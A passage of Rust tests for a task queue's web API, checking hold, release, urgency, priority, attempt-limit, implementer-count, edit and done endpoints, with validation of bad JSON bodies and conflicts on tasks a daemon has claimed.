17748        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17749    }
17750
17751    #[test]
17752    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17753        use crate::queue::PassCost;
17754        // Three entries, but the run only began keeping passes at the last
17755        // two: the first is legacy and must not be given a cause.
17756        let run = flow_run(RunStatus::Implementing, |s| {
17757            s.passes = vec![
17758                recorded_pass(0, parked(upgrade_cause())),
17759                recorded_pass(1, None),
17760            ];
17761        });
17762        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17763        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17764        let h = task_history(&task, |_| Some(run.clone()));
17765        assert!(h[0].pass.is_none());
17766        assert_eq!(h[0].exit, RunExit::Interrupted);
17767        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17768        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17769        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17770        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17771        // A run with no passes at all is entirely unknown.
17772        let legacy = flow_run(RunStatus::Implementing, |_| {});
17773        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17774        assert!(h.iter().all(|v| v.pass.is_none()));
17775        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17776    }
17777
17778    #[test]
17779    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17780        use crate::queue::PassCost;
17781        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17782        // task. The two entries are passes 0 and 2.
17783        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17784        web.task_entry = false;
17785        let run = flow_run(RunStatus::Implementing, |s| {
17786            s.passes = vec![
17787                recorded_pass(0, parked(upgrade_cause())),
17788                web.clone(),
17789                recorded_pass(2, None),
17790            ];
17791        });
17792        let mut task = flow_task(&[RUN_X, RUN_X]);
17793        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17794        let h = task_history(&task, |_| Some(run.clone()));
17795        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17796        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17797
17798        // Legacy first entry, then a web resume that parked for an upgrade,
17799        // then the daemon's pass: the legacy entry must stay unknown.
17800        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17801        web0.task_entry = false;
17802        let run = flow_run(RunStatus::Implementing, |s| {
17803            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17804        });
17805        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17806        assert!(h[0].pass.is_none());
17807        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17808        assert!(h[1].pass.is_some());
17809    }
17810
17811    #[tokio::test]
17812    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17813        let dir = tempfile::tempdir().unwrap();
17814        let queue = Queue::at(dir.path().join("queue"));
17815        let ui = Arc::new(Ui::new(
17816            queue.clone(),
17817            Questions::at(dir.path().join("questions")),
17818            Talks::at(dir.path().join("talks")),
17819            dir.path().join("runs"),
17820            dir.path().to_path_buf(),
17821            dir.path().to_path_buf(),
17822        ));
17823        let mut t = Task::new(
17824            "recover".into(),
17825            "Inspect".into(),
17826            PathBuf::from("."),
17827            Source::Human,
17828        );
17829        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17830        t.start("run-A".into());
17831        t.release_operator("choice", Some("resume-question"));
17832        t.resume_override = Some(crate::queue::OperatorResume {
17833            question_id: "resume-question".into(),
17834            at: jiff::Timestamp::now(),
17835            conductor_rehold: None,
17836            forced: true,
17837            pinned_run: Some("run-A".into()),
17838        });
17839        t.hold_machine(Some("inspection pending".into()));
17840        t.edit("recover".into(), "Reuse approved PR head".into())
17841            .unwrap();
17842        queue.put(&mut t).unwrap();
17843        let mut cli = t.clone();
17844        cli.release_operator("cli", None);
17845        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17846        let reloaded = queue.get(&t.id).unwrap();
17847        assert_eq!(reply.task.status, TaskStatus::Queued);
17848        assert!(reloaded.resume_override.is_none());
17849        assert_eq!(reloaded.answers, t.answers);
17850        let mut web = reloaded.resumption.unwrap();
17851        let cli = cli.resumption.unwrap();
17852        assert_eq!(web.source, "web");
17853        web.source = cli.source.clone();
17854        web.at = cli.at;
17855        assert_eq!(web, cli);
17856    }
17857
17858    #[tokio::test]
17859    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17860        let f = Fixture::start().await;
17861        let queue = f.queue();
17862        let mut task = Task::new(
17863            "spent".to_owned(),
17864            "Try again".to_owned(),
17865            PathBuf::from("/repo/magi"),
17866            Source::Human,
17867        );
17868        task.start("20260902-140502-bbbb".to_owned());
17869        task.fail("agent gave up", 9);
17870        queue.put(&mut task).expect("file the task");
17871
17872        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17873        assert_eq!(held.status, 200);
17874        assert_eq!(held.json()["status_str"], "held");
17875
17876        let released = f
17877            .post(&format!("/api/queue/{}/release", task.id), None)
17878            .await;
17879        assert_eq!(released.status, 200);
17880        assert_eq!(released.json()["status_str"], "queued");
17881        assert_eq!(released.json()["resumption"]["source"], "web");
17882        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17883        let mut cli = task.clone();
17884        cli.release_operator("cli", None);
17885        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17886        let cli = cli.resumption.unwrap();
17887        assert_eq!(web.instruction, cli.instruction);
17888        assert_eq!(web.answers_through, cli.answers_through);
17889        assert_eq!(web.runs_through, cli.runs_through);
17890        assert_eq!(web.cleared_reason, cli.cleared_reason);
17891        assert_eq!(
17892            released.json()["attempts"],
17893            0,
17894            "release is a real second chance, not an instant re-hold"
17895        );
17896        assert_eq!(
17897            queue.get(&task.id).expect("reload").status,
17898            TaskStatus::Queued,
17899            "the change is on disk, not only in the reply"
17900        );
17901        assert!(
17902            !f.home
17903                .path()
17904                .join("queue")
17905                .join(format!("{}.lock", task.id))
17906                .exists(),
17907            "the claim the mutation took is released again"
17908        );
17909    }
17910
17911    #[tokio::test]
17912    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17913        let f = Fixture::start().await;
17914        let queue = f.queue();
17915        let mut task = Task::new(
17916            "busy".to_owned(),
17917            "Running right now".to_owned(),
17918            PathBuf::from("/repo/magi"),
17919            Source::Human,
17920        );
17921        queue.put(&mut task).expect("file the task");
17922        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17923
17924        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17925
17926        assert_eq!(res.status, 409);
17927        assert_eq!(
17928            queue.get(&task.id).expect("reload").status,
17929            TaskStatus::Queued,
17930            "the refused hold changed nothing"
17931        );
17932    }
17933
17934    #[tokio::test]
17935    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17936        let f = Fixture::start().await;
17937        let queue = f.queue();
17938        let mut task = Task::new(
17939            "waiting on the migration".to_owned(),
17940            "Do the thing".to_owned(),
17941            PathBuf::from("/repo/magi"),
17942            Source::Human,
17943        );
17944        queue.put(&mut task).expect("file the task");
17945
17946        let held = f
17947            .post(
17948                &format!("/api/queue/{}/hold", task.id),
17949                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17950            )
17951            .await;
17952        assert_eq!(held.status, 200, "{}", held.body);
17953        assert_eq!(held.json()["status_str"], "held");
17954        assert_eq!(
17955            held.json()["hold_reason"],
17956            "waiting for 20260101-000000-aaaa to land"
17957        );
17958
17959        let listed = f.get("/api/queue").await.json();
17960        assert_eq!(
17961            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17962            "the card reads the reason off the same list route"
17963        );
17964
17965        // A hold with no body at all must keep working - most holds have no
17966        // reason to give.
17967        let mut plain = Task::new(
17968            "no reason given".to_owned(),
17969            "Do another thing".to_owned(),
17970            PathBuf::from("/repo/magi"),
17971            Source::Human,
17972        );
17973        queue.put(&mut plain).expect("file the task");
17974        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17975        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17976        assert!(held_plain.json()["hold_reason"].is_null());
17977
17978        let released = f
17979            .post(&format!("/api/queue/{}/release", task.id), None)
17980            .await;
17981        assert_eq!(released.status, 200);
17982        assert!(
17983            released.json()["hold_reason"].is_null(),
17984            "a release must clear the reason so the next hold does not inherit it"
17985        );
17986    }
17987
17988    #[test]
17989    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17990        for urgent in [true, false] {
17991            let body: UrgentBody =
17992                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17993            assert_eq!(body.urgent, urgent);
17994        }
17995        for input in [
17996            r#"{}"#,
17997            r#"{"urgent":null}"#,
17998            r#"{"urgent":"true"}"#,
17999            r#"{"urgent":1}"#,
18000            r#"{"urgent":true,"extra":false}"#,
18001        ] {
18002            assert!(
18003                serde_json::from_str::<UrgentBody>(input).is_err(),
18004                "{input}"
18005            );
18006        }
18007    }
18008
18009    #[tokio::test]
18010    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18011        let home = TempDir::new().unwrap();
18012        let q = Queue::at(home.path().join("queue"));
18013        let ui = Arc::new(Ui::new(
18014            q.clone(),
18015            Questions::at(home.path().join("questions")),
18016            Talks::at(home.path().join("talks")),
18017            home.path().join("runs"),
18018            home.path().into(),
18019            home.path().into(),
18020        ));
18021        let mut task = Task::new(
18022            "urgent handler".into(),
18023            "keep".into(),
18024            home.path().into(),
18025            Source::Human,
18026        );
18027        for status in [TaskStatus::Queued, TaskStatus::Held] {
18028            task.status = status;
18029            q.put(&mut task).unwrap();
18030            for urgent in [true, true, false, false] {
18031                let saved = queue_urgent(
18032                    State(Arc::clone(&ui)),
18033                    Path(task.short().into()),
18034                    Ok(Json(UrgentBody { urgent })),
18035                )
18036                .await
18037                .unwrap();
18038                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18039                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18040            }
18041        }
18042        task.status = TaskStatus::Queued;
18043        q.put(&mut task).unwrap();
18044        let claim = q.claim(&task.id).unwrap();
18045        let error = queue_urgent(
18046            State(Arc::clone(&ui)),
18047            Path(task.id.clone()),
18048            Ok(Json(UrgentBody { urgent: true })),
18049        )
18050        .await
18051        .unwrap_err();
18052        assert_eq!(error.status, StatusCode::CONFLICT);
18053        assert!(error.message.contains("released"));
18054        drop(claim);
18055        for status in [
18056            TaskStatus::Running,
18057            TaskStatus::Done,
18058            TaskStatus::Failed,
18059            TaskStatus::Blocked,
18060            TaskStatus::Parked,
18061        ] {
18062            task.status = status;
18063            q.put(&mut task).unwrap();
18064            let error = queue_urgent(
18065                State(Arc::clone(&ui)),
18066                Path(task.id.clone()),
18067                Ok(Json(UrgentBody { urgent: false })),
18068            )
18069            .await
18070            .unwrap_err();
18071            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18072            assert!(error.message.contains(status.as_str()));
18073        }
18074    }
18075
18076    #[tokio::test]
18077    async fn urgent_api_updates_preserves_and_validates_tasks() {
18078        let f = Fixture::start().await;
18079        let q = f.queue();
18080        let mut t = Task::new(
18081            "urgent API".into(),
18082            "unchanged".into(),
18083            PathBuf::from("/repo/magi"),
18084            Source::Human,
18085        );
18086        t.attempts = 2;
18087        t.priority = 9;
18088        t.interrupt = true;
18089        t.hold_reason = Some("waiting for approval".into());
18090        for status in [TaskStatus::Queued, TaskStatus::Held] {
18091            t.status = status;
18092            q.put(&mut t).unwrap();
18093            for urgent in [true, true, false, false] {
18094                let response = f
18095                    .post(
18096                        &format!("/api/queue/{}/urgent", t.short()),
18097                        Some(&format!("{{\"urgent\":{urgent}}}")),
18098                    )
18099                    .await;
18100                assert_eq!(response.status, 200, "{}", response.body);
18101                assert_eq!(response.json()["urgent"], urgent);
18102                let saved = q.get(&t.id).unwrap();
18103                let mut before = serde_json::to_value(&t).unwrap();
18104                let mut after = serde_json::to_value(saved).unwrap();
18105                before["urgent"] = urgent.into();
18106                before.as_object_mut().unwrap().remove("updated_at");
18107                after.as_object_mut().unwrap().remove("updated_at");
18108                assert_eq!(after, before);
18109            }
18110        }
18111        let route = format!("/api/queue/{}/urgent", t.id);
18112        for body in [
18113            r#"{}"#,
18114            r#"{"urgent":null}"#,
18115            r#"{"urgent":"true"}"#,
18116            r#"{"urgent":1}"#,
18117            r#"{"urgent":true,"extra":false}"#,
18118            "{",
18119        ] {
18120            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18121        }
18122        t.status = TaskStatus::Queued;
18123        q.put(&mut t).unwrap();
18124        let claim = q.claim(&t.id).unwrap();
18125        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18126        assert_eq!(response.status, 409, "{}", response.body);
18127        assert!(!q.get(&t.id).unwrap().urgent);
18128        drop(claim);
18129        for status in [
18130            TaskStatus::Running,
18131            TaskStatus::Done,
18132            TaskStatus::Failed,
18133            TaskStatus::Blocked,
18134            TaskStatus::Parked,
18135        ] {
18136            t.status = status;
18137            q.put(&mut t).unwrap();
18138            for urgent in [true, false] {
18139                let response = f
18140                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18141                    .await;
18142                assert_eq!(response.status, 400, "{}", response.body);
18143                assert!(response.body.contains(status.as_str()));
18144                assert!(response.body.contains("queued or held"));
18145                assert!(!q.get(&t.id).unwrap().urgent);
18146            }
18147        }
18148        assert_eq!(
18149            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18150                .await
18151                .status,
18152            404
18153        );
18154    }
18155
18156    #[tokio::test]
18157    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18158        let f = Fixture::start().await;
18159        let queue = f.queue();
18160        let mut older = Task::new(
18161            "filed first".to_owned(),
18162            "x".to_owned(),
18163            PathBuf::from("/repo/magi"),
18164            Source::Human,
18165        );
18166        older.id = "20260101-000001-aaaa".to_owned();
18167        let mut newer = Task::new(
18168            "filed second".to_owned(),
18169            "x".to_owned(),
18170            PathBuf::from("/repo/magi"),
18171            Source::Human,
18172        );
18173        newer.id = "20260101-000002-bbbb".to_owned();
18174        queue.put(&mut older).expect("file older");
18175        queue.put(&mut newer).expect("file newer");
18176
18177        // Equal priority: the newer task leads, the same order the old
18178        // newest-first `list()` already gave every equal-priority queue.
18179        let before = f.get("/api/queue").await.json();
18180        assert_eq!(before[0]["id"], newer.id);
18181        assert_eq!(before[1]["id"], older.id);
18182
18183        // Raising the *older* task is the meaningful case: it can only lead
18184        // now because its priority says so, not because it happens to be
18185        // newest.
18186        let raised = f
18187            .post(
18188                &format!("/api/queue/{}/priority", older.id),
18189                Some(r#"{"priority":10}"#),
18190            )
18191            .await;
18192        assert_eq!(raised.status, 200, "{}", raised.body);
18193        assert_eq!(raised.json()["priority"], 10);
18194
18195        let after = f.get("/api/queue").await.json();
18196        let names: Vec<&str> = after
18197            .as_array()
18198            .unwrap()
18199            .iter()
18200            .map(|t| t["id"].as_str().unwrap())
18201            .collect();
18202        // Highest priority first, which is the order next_runnable and
18203        // `magi task list` both use - GET /api/queue must agree with it
18204        // immediately, not just once the loop claims the task.
18205        assert_eq!(names[0], older.id, "the raised task now sorts first");
18206    }
18207
18208    #[tokio::test]
18209    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18210        let f = Fixture::start().await;
18211        let queue = f.queue();
18212        let mut tasks = Vec::new();
18213        for id in [
18214            "20260101-000001-aaaa",
18215            "20260101-000002-bbbb",
18216            "20260101-000003-cccc",
18217        ] {
18218            let mut task = Task::new(
18219                id.into(),
18220                "x".into(),
18221                PathBuf::from("/repo/magi"),
18222                Source::Human,
18223            );
18224            task.id = id.into();
18225            queue.put(&mut task).unwrap();
18226            tasks.push(task);
18227        }
18228        assert_eq!(
18229            queue.next_runnable().unwrap().id,
18230            tasks[0].id,
18231            "equal priorities use ascending id"
18232        );
18233        let route = format!("/api/queue/{}/priority", tasks[2].id);
18234        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18235        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18236        tasks[1].start("upgrade-run".into());
18237        tasks[1].park("upgrade");
18238        tasks[1].record_pass_at(
18239            "upgrade-run",
18240            0,
18241            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18242            1,
18243            Some(crate::run::ParkCause::Upgrade {
18244                from: "old".into(),
18245                to: None,
18246            }),
18247        );
18248        queue.put(&mut tasks[1]).unwrap();
18249        let rows = f.get("/api/queue").await.json();
18250        let upgrade = rows
18251            .as_array()
18252            .unwrap()
18253            .iter()
18254            .find(|row| row["id"] == tasks[1].id)
18255            .unwrap();
18256        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18257        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18258        tasks[2] = queue.get(&tasks[2].id).unwrap();
18259        tasks[2].start("running-run".into());
18260        queue.put(&mut tasks[2]).unwrap();
18261        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18262        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18263    }
18264
18265    #[tokio::test]
18266    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18267        let dir = TempDir::new().unwrap();
18268        let q = Queue::at(dir.path().join("queue"));
18269        let ui = Arc::new(Ui::new(
18270            q.clone(),
18271            Questions::at(dir.path().join("questions")),
18272            Talks::at(dir.path().join("talks")),
18273            dir.path().join("runs"),
18274            dir.path().to_path_buf(),
18275            dir.path().to_path_buf(),
18276        ));
18277        let mut t = Task::new(
18278            "budget".into(),
18279            "keep".into(),
18280            dir.path().into(),
18281            Source::Human,
18282        );
18283        t.attempts = 2;
18284        t.runs.push("prior-run".into());
18285        t.hold_manual(Some("waiting".into()));
18286        q.put(&mut t).unwrap();
18287        let change = |value| {
18288            queue_attempt_limit(
18289                State(ui.clone()),
18290                Path(t.id.clone()),
18291                Ok(Json(AttemptLimitBody {
18292                    attempt_limit: value,
18293                })),
18294            )
18295        };
18296        for value in [
18297            serde_json::json!(3),
18298            serde_json::Value::Null,
18299            serde_json::json!(1),
18300        ] {
18301            let response = change(value.clone()).await.unwrap();
18302            assert_eq!(
18303                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18304                value
18305            );
18306            let saved = q.get(&t.id).unwrap();
18307            assert_eq!(
18308                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18309                value
18310            );
18311            assert_eq!(saved.status, TaskStatus::Held);
18312            assert_eq!(saved.attempts, t.attempts);
18313            assert_eq!(saved.runs, t.runs);
18314            assert_eq!(saved.hold_reason, t.hold_reason);
18315            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18316                .await
18317                .unwrap()
18318                .0;
18319            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18320            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18321            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18322            assert_eq!(outcome.max_attempts, detail.max_attempts);
18323        }
18324        for value in [
18325            serde_json::json!(0),
18326            serde_json::json!(-1),
18327            serde_json::json!(1.5),
18328            serde_json::json!("3"),
18329            serde_json::json!(true),
18330        ] {
18331            assert_eq!(
18332                change(value).await.err().unwrap().status,
18333                StatusCode::BAD_REQUEST
18334            );
18335        }
18336        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18337        let claim = q.claim(&t.id).unwrap();
18338        assert_eq!(
18339            change(serde_json::json!(4)).await.err().unwrap().status,
18340            StatusCode::CONFLICT
18341        );
18342        drop(claim);
18343        for status in [
18344            TaskStatus::Running,
18345            TaskStatus::Done,
18346            TaskStatus::Failed,
18347            TaskStatus::Blocked,
18348            TaskStatus::Parked,
18349        ] {
18350            let mut stored = q.get(&t.id).unwrap();
18351            stored.status = status;
18352            q.put(&mut stored).unwrap();
18353            assert_eq!(
18354                change(serde_json::json!(4)).await.err().unwrap().status,
18355                StatusCode::BAD_REQUEST
18356            );
18357            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18358        }
18359        let mut stored = q.get(&t.id).unwrap();
18360        stored.status = TaskStatus::Queued;
18361        q.put(&mut stored).unwrap();
18362        let _ = change(serde_json::Value::Null).await.unwrap();
18363        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18364    }
18365
18366    #[tokio::test]
18367    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18368        let dir = TempDir::new().unwrap();
18369        let repo = dir.path().join("repo");
18370        std::fs::create_dir(&repo).unwrap();
18371        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18372        let q = Queue::at(dir.path().join("queue"));
18373        let ui = Arc::new(Ui::new(
18374            q.clone(),
18375            Questions::at(dir.path().join("questions")),
18376            Talks::at(dir.path().join("talks")),
18377            dir.path().join("runs"),
18378            dir.path().to_path_buf(),
18379            repo.clone(),
18380        ));
18381        let mut t = Task::new(
18382            "seats".into(),
18383            "keep instruction".into(),
18384            repo,
18385            Source::Human,
18386        );
18387        t.runs.push("prior-run".into());
18388        t.hold_manual(Some("waiting".into()));
18389        q.put(&mut t).unwrap();
18390        let change = |count| {
18391            queue_implementers(
18392                State(ui.clone()),
18393                Path(t.id.clone()),
18394                Ok(Json(ImplementersBody {
18395                    implementers: count,
18396                })),
18397            )
18398        };
18399        for count in [2, 1, 2] {
18400            let response = change(count).await.unwrap();
18401            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18402            let saved = q.get(&t.id).unwrap();
18403            assert_eq!(saved.implementers(), Some(usize::from(count)));
18404            assert_eq!(saved.runs, t.runs);
18405            assert_eq!(saved.instruction, t.instruction);
18406        }
18407        for count in [0, 4] {
18408            assert_eq!(
18409                change(count).await.err().unwrap().status,
18410                StatusCode::BAD_REQUEST
18411            );
18412        }
18413        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18414        let claim = q.claim(&t.id).unwrap();
18415        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18416        drop(claim);
18417        for status in [
18418            TaskStatus::Running,
18419            TaskStatus::Done,
18420            TaskStatus::Failed,
18421            TaskStatus::Blocked,
18422            TaskStatus::Parked,
18423        ] {
18424            let mut stored = q.get(&t.id).unwrap();
18425            stored.status = status;
18426            q.put(&mut stored).unwrap();
18427            assert_eq!(
18428                change(1).await.err().unwrap().status,
18429                StatusCode::BAD_REQUEST
18430            );
18431            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18432        }
18433    }
18434
18435    #[tokio::test]
18436    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18437        let f = Fixture::start().await;
18438        let queue = f.queue();
18439        let mut task = Task::new(
18440            "in flight".to_owned(),
18441            "x".to_owned(),
18442            PathBuf::from("/repo/magi"),
18443            Source::Human,
18444        );
18445        task.start("20260902-140502-bbbb".to_owned());
18446        queue.put(&mut task).expect("file the task");
18447
18448        let res = f
18449            .post(
18450                &format!("/api/queue/{}/priority", task.id),
18451                Some(r#"{"priority":9}"#),
18452            )
18453            .await;
18454        assert_eq!(res.status, 400, "{}", res.body);
18455        assert!(
18456            res.json()["error"]
18457                .as_str()
18458                .is_some_and(|e| e.contains("running")),
18459            "{}",
18460            res.body
18461        );
18462        assert_eq!(
18463            queue.get(&task.id).expect("reload").priority,
18464            0,
18465            "the refused write must not partially apply"
18466        );
18467    }
18468
18469    #[tokio::test]
18470    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18471        let f = Fixture::start().await;
18472        let queue = f.queue();
18473        let mut task = Task::new(
18474            "old title".to_owned(),
18475            "old instruction".to_owned(),
18476            PathBuf::from("/repo/magi"),
18477            Source::Agent {
18478                run: "20260101-000000-beef".to_owned(),
18479                node: "implement".to_owned(),
18480            },
18481        );
18482        task.runs.push("20260101-000000-beef".to_owned());
18483        queue.put(&mut task).expect("file the task");
18484        let created_at = task.created_at;
18485
18486        let edited = f
18487            .post(
18488                &format!("/api/queue/{}/edit", task.id),
18489                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18490            )
18491            .await;
18492        assert_eq!(edited.status, 200, "{}", edited.body);
18493        let body = edited.json();
18494        assert_eq!(body["title"], "new title");
18495        assert_eq!(body["instruction"], "new instruction");
18496        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18497        assert_eq!(body["created_at"], created_at.to_string());
18498        assert_eq!(
18499            body["source"]["kind"], "agent",
18500            "editing a task an agent filed must not turn it human: {body}"
18501        );
18502        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18503
18504        let reloaded = queue.get(&task.id).expect("reload");
18505        assert_eq!(reloaded.title, "new title");
18506        assert_eq!(reloaded.instruction, "new instruction");
18507    }
18508
18509    #[tokio::test]
18510    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18511        // The judge is an agent now: a repo whose only agent answers
18512        // "duplicate" stands in for it, so the refusal is the judge's.
18513        let tmp = TempDir::new().expect("tempdir");
18514        let repo = tmp.path().join("repo");
18515        std::fs::create_dir_all(&repo).expect("repo dir");
18516        let judge = MOCK_AGENT_TOML.replace(
18517            "printf ok",
18518            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18519        );
18520        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18521        let f = Fixture::with_repo(repo.clone()).await;
18522        let queue = f.queue();
18523        let mut owner = Task::new(
18524            "owner".to_owned(),
18525            "review it".to_owned(),
18526            repo.clone(),
18527            Source::Human,
18528        );
18529        owner.review_branch = Some("magi/ab12/A".to_owned());
18530        queue.put(&mut owner).expect("file the owner");
18531        let mut task = Task::new(
18532            "draft".to_owned(),
18533            "old".to_owned(),
18534            repo.clone(),
18535            Source::Human,
18536        );
18537        queue.put(&mut task).expect("file the draft");
18538        let url = format!("/api/queue/{}/edit", task.id);
18539
18540        let refused = f
18541            .post(
18542                &url,
18543                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18544            )
18545            .await;
18546        assert_eq!(refused.status, 409, "{}", refused.body);
18547        let msg = refused.json()["error"]
18548            .as_str()
18549            .unwrap_or_default()
18550            .to_owned();
18551        assert!(
18552            msg.contains("magi/ab12/A") && msg.contains("force"),
18553            "{msg}"
18554        );
18555        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18556
18557        let forced = f
18558            .post(
18559                &url,
18560                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18561            )
18562            .await;
18563        assert_eq!(forced.status, 200, "{}", forced.body);
18564    }
18565
18566    #[tokio::test]
18567    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18568        let f = Fixture::start().await;
18569        let queue = f.queue();
18570        let mut task = Task::new(
18571            "in flight".to_owned(),
18572            "do not touch".to_owned(),
18573            PathBuf::from("/repo/magi"),
18574            Source::Human,
18575        );
18576        task.start("20260902-140502-bbbb".to_owned());
18577        queue.put(&mut task).expect("file the task");
18578
18579        let res = f
18580            .post(
18581                &format!("/api/queue/{}/edit", task.id),
18582                Some(r#"{"title":"x","instruction":"y"}"#),
18583            )
18584            .await;
18585        assert_eq!(res.status, 400, "{}", res.body);
18586        assert!(
18587            res.json()["error"]
18588                .as_str()
18589                .is_some_and(|e| e.contains("running")),
18590            "{}",
18591            res.body
18592        );
18593        assert_eq!(
18594            queue.get(&task.id).expect("reload").instruction,
18595            "do not touch",
18596            "the refused edit must not change the file"
18597        );
18598    }
18599
18600    #[tokio::test]
18601    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18602        let f = Fixture::start().await;
18603        let queue = f.queue();
18604        let mut task = Task::new(
18605            "busy".to_owned(),
18606            "Running right now".to_owned(),
18607            PathBuf::from("/repo/magi"),
18608            Source::Human,
18609        );
18610        queue.put(&mut task).expect("file the task");
18611        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18612
18613        let priority = f
18614            .post(
18615                &format!("/api/queue/{}/priority", task.id),
18616                Some(r#"{"priority":9}"#),
18617            )
18618            .await;
18619        assert_eq!(priority.status, 409, "{}", priority.body);
18620
18621        let edit = f
18622            .post(
18623                &format!("/api/queue/{}/edit", task.id),
18624                Some(r#"{"title":"x","instruction":"y"}"#),
18625            )
18626            .await;
18627        assert_eq!(edit.status, 409, "{}", edit.body);
18628    }
18629
18630    #[tokio::test]
18631    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18632        let f = Fixture::start().await;
18633        let queue = f.queue();
18634        let mut task = Task::new(
18635            "shipped by hand".to_owned(),
18636            "merged outside the loop".to_owned(),
18637            PathBuf::from("/repo/magi"),
18638            Source::Agent {
18639                run: "20260101-000000-b455".to_owned(),
18640                node: "implement".to_owned(),
18641            },
18642        );
18643        task.runs.push("20260101-000000-b455".to_owned());
18644        task.runs.push("20260101-000000-9af4".to_owned());
18645        queue.put(&mut task).expect("file the task");
18646        let created_at = task.created_at;
18647
18648        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18649        assert_eq!(done.status, 200, "{}", done.body);
18650        assert_eq!(done.json()["status_str"], "done");
18651
18652        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18653        assert_eq!(
18654            reloaded.runs,
18655            ["20260101-000000-b455", "20260101-000000-9af4"]
18656        );
18657        assert_eq!(
18658            reloaded.source,
18659            Source::Agent {
18660                run: "20260101-000000-b455".to_owned(),
18661                node: "implement".to_owned(),
18662            }
18663        );
